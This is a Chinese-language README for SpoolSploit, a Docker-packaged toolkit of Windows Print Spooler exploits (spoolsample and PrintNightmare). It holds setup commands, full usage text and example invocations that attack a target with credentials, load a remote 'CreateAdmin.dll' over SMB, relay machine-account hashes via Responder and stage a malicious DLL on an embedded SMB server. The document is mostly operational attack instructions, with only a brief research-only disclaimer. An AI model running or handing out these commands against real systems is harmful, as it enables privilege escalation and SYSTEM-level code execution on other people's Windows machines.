一系列 Windows 打印后台处理程序漏洞的集合,通过容器化与其他实用工具一起,用于实际利用。
SpoolSploit 是一系列 Windows 打印后台处理程序漏洞的集合,通过容器化与其他实用工具一起,用于实际利用。一些非常有效的方法包括中继机器账户凭据以提升权限,以及在端点以完全系统权限执行恶意 DLL。

截至发布之日,SpoolSploit Docker 容器已在最新版本的 MacOS、Ubuntu Linux 和 Windows 10 上成功测试。
虽然不是必须的,但如果您希望在 SpoolSploit 容器内托管恶意 DLL 或进行凭据中继攻击,应确保运行 Docker 的主机上没有使用端口 445。在 Windows 主机上运行此容器时尤为常见,因为 Windows 默认使用端口 445。如果禁用主机上的端口 445 不切实际,那也没关系!您只需在配置为桥接模式的虚拟机中运行 Docker 容器即可。这将允许提供恶意 DLL 和中继凭据。如果您只想提供恶意 DLL,也可以将 DLL 托管在主机操作系统或受感染服务器上的匿名访问共享中。
git clone https://github.com/BeetleChunks/SpoolSploit
cd SpoolSploit
sudo docker build -t spoolsploit .
sudo docker run -dit -p 445:445 --name spoolsploit spoolsploit:latest
sudo docker exec -it spoolsploit /bin/bash
usage: spool_sploit.py [-h] -a {spoolsample,nightmare} -rH RHOST -rP {139,445} [-lH LHOST] [-lS LSHARE] -d DOMAIN -u USER -p PASSWD
optional arguments:
-h, --help show this help message and exit
-a {spoolsample,nightmare}, --attack {spoolsample,nightmare}
Attack type to execute on target(s).
-rH RHOST, --rhost RHOST
Remote target IP, CIDR range, or filename (file:<path>)
-rP {139,445}, --rport {139,445}
Remote SMB server port.
-lH LHOST, --lhost LHOST
Listening hostname or IP
-lS LSHARE, --lshare LSHARE
Staging SMB share (UNC)
-d DOMAIN, --domain DOMAIN
Domain for authentication
-u USER, --username USER
Username for authentication
-p PASSWD, --password PASSWD
Password for authentication
Example - spoolsample:
python3 spool_sploit.py -a spoolsample -lH 10.14.1.24 -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
Example - nightmare:
python3 spool_sploit.py -a nightmare -lS '\\10.14.1.24\C$\CreateAdmin.dll' -d evil.corp -u rjmcdow -p 'P4ssword123!' -rP 445 -rH 10.5.1.10
SpoolSploit Docker 容器包含 Responder,用于中继通过执行 SpoolSploit 中的 spoolsample 攻击获得的机器账户哈希。由于已有几篇优秀文章详细介绍了中继特权机器账户凭据以提升权限的过程,此处不再赘述。
SpoolSploit 容器中包含一个通过 Impacket 实现的 SMB 服务器。该服务器可用于在 printnightmare 攻击执行时托管恶意 DLL。默认的 SMB 服务器设置即可工作,但如果您想自定义,可以修改位于 /home/dlogmas/smbserver/smb-v1.conf 的配置文件。
您唯一需要做的是将 DLL 复制到 SpoolSploit 容器中 SMB 服务器的共享文件夹。容器中的共享路径是 /home/dlogmas/smbserver/share/。以下命令演示了如何将 DLL 上传到 SpoolSploit 容器并使其可被 SMB 服务器访问。
sudo docker cp ./malicious.dll spoolsploit:/home/dlogmas/smbserver/share/
sudo docker exec spoolsploit /bin/sh -c 'sudo chown dlogmas:dlogmas /home/dlogmas/smbserver/share/malicious.dll'
此概念验证代码仅为学术研究而创建,不应用于未经明确授权的系统。代码按原样提供,不保证其执行效果。对于误用此代码的行为,我不承担任何责任。